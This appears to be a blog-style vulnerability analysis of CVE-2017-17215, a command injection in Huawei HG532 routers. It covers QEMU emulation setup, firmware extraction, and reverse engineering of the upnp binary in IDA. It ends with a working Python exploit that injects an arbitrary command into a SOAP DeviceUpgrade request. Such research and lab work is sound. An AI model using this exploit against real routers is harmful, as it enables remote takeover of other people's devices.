Huawei HG532 RCE Vulnerability Analysis

Description

  • This remote command execution vulnerability exists in HUAWEI HG532 routers, as disclosed by Check Point security researchers.
  • The TR-064 implementation in Huawei devices is exposed to the WAN through port 37215 (UPnP). Within the device’s UPnP description, there is a service called DeviceUpgrade, which performs firmware upgrades by sending requests to /ctrlt/DeviceUpgrade_1 (referred to as the controlURL).
  • This is executed through two elements: NewStatusURL and NewDownloadURL.
  • The vulnerability allows remote attackers to execute arbitrary commands by injecting shell metacharacters "$()" into NewStatusURL and NewDownloadURL.

Environment Setup

Why can not QEMU communicate with the host machine?

The tap0 interface is missing under bridge br0. Running sudo brctl show br0 only displays:

1
2
bridge name    bridge id        STP enabled    interfaces
br0 8000.9a6776f76b27 no ens33

The absence of tap0 prevents the QEMU virtual network interface from connecting to the bridge, breaking communication between the host and QEMU.

Solution

Step 1: Create and Configure tap0

1
2
3
4
sudo tunctl -t tap0 -u pwn        # Create tap0 device
sudo ip link set tap0 up # Bring up tap0
sudo brctl addif br0 tap0 # Add tap0 to the bridge
sudo brctl show br0 # Verify (tap0 should now be visible)

And we should define it in our QEMU launch script as follows:

1
2
3
4
5
6
7
8
sudo qemu-system-mips \
-M malta \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic

Key point: -net tap,ifname=tap0,script=no,downscript=no explicitly specifies the use of the pre-created tap0.

Then configure the IP Address Inside QEMU:

1
2
3
4
5
6
ifconfig eth1 192.168.138.131 netmask 255.255.255.0 up
route add default gw 192.168.138.1
ping 192.168.138.130 # To verify whether communication is successful or not.
————————————————————————————————————————————————————————————————————————————————
64 bytes from 192.168.138.130: icmp_req=1 ttl=64 time=5.06 ms
5 packets transmitted, 5 received, 0% packet loss

Download Files Required by QEMU:

1
2
3
cd ~/Desktop/HUAWEI-HG532/
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2

Now launching QEMU:
QEMU Launch

We attempted to extract the firmware using unsquashfs, but found that the extracted directory was empty. This is likely because Huawei modified the SquashFS format. We then used Firmware Mod Kit to perform the extraction.

Firmware Mod Kit

Analysis the Vulnerability

We can locate the vulnerable upnp binary in the /firmware-mod-kit/fmk/rootfs/bin directory and inspect its properties using checksec upnp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwn@pwn:~/Desktop/firmware-mod-kit/fmk/rootfs/bin$ checksec ./upnp
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/pwn/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.15.0)
[!] Could not populate MIPS GOT: seek out of range
[!] Did not find any GOT entries
[*] '/home/pwn/Desktop/firmware-mod-kit/fmk/rootfs/bin/upnp'
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

As we can see, this is a 32-bit big-endian MIPS binary with no protections enabled.

According to the official vulnerability report, the vulnerability exists in both the /bin/upnp and /bin/mic binaries. Let’s load them into IDA for reverse engineering analysis.

In the main function, there is a core call that initializes the network service. Following into the init function, we find a loop that iterates 5 times (the second argument), performing operations on each entry in the m_astInetdApps array. Let’s examine the array.

IDA Analysis 1

We examine this function and see that it starts a socket server. Based on the socket parameter definitions, we hypothesize that v16 is the IP address. Let’s trace how v16 is defined:

IDA Analysis 2

IDA Analysis 3

Let us explain this:

  • v16 = v31;: v31 is the parsed IP address string
  • if ( !v28 ) v16 = 0;: 0 = NULL = INADDR_ANY

This corresponds to the following:

  • The configuration string format is service_name|IP|port|command.
  • v16 is assigned from the parsed IP field. 0 in socket programming represents INADDR_ANY (bind to all interfaces).
  • From this we can conclude: the firmware does not restrict this service to binding only on the internal network interface (LAN port), causing it to bind to 0.0.0.0 (all interfaces) and become exposed to the wide area network (WAN) side. Attackers on the internet can directly send crafted SOAP packets to this port, triggering the command injection vulnerability and achieving remote code execution.

Next is the analysis specific file containing the vulnerability:

IDA Analysis 4

We can see in the main function that server1 listens on port 37215. Let’s now examine the ATP_UPNP_Init function, which initializes the UPnP framework:

IDA Analysis 5

We can see the functions that register UPnP devices and services. Continuing to follow the code, we then see the service registration and function registration functions for the entire TR-064 service. Let’s follow the function registration:

IDA Analysis 6

From the official vulnerability report, we know that the action with ID 21 corresponds to Upgrade. The handle for registering this action is returned from v9 = ATP_UPnP_RegService(v33, "WANPPPConnection:1", "WanPppConn.xml", 3, 1, 0, &v34);

Following the same approach, let’s trace into the function at v66:

IDA Analysis 7

passing through some defined conditions, we arrive at g_astActionArray:

IDA Analysis 8

Following to the address of this function:

IDA Analysis 9

This is the action function for the DeviceUpgrade service. It extracts the NewDownloadURL and NewStatusURL parameters from the SOAP request, performs no filtering whatsoever, directly concatenates them (since ; connects two independent statements), and executes them via system(), resulting in remote code execution.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

Authorization = "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
headers = {"Authorization": Authorization}

print("-----CVE-2017-17215 HUAWEI HG532 RCE-----\n")
cmd = input("command > ")

data = f'''
<?xml version="1.0" ?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir lontan0;</NewStatusURL>
<NewDownloadURL>;{cmd};</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''

r = requests.post('http://192.168.138.131:37215/ctrlt/DeviceUpgrade_1', headers = headers, data = data)
print("\nstatus_code: " + str(r.status_code))
print("\n" + r.text)

Exploit successfully!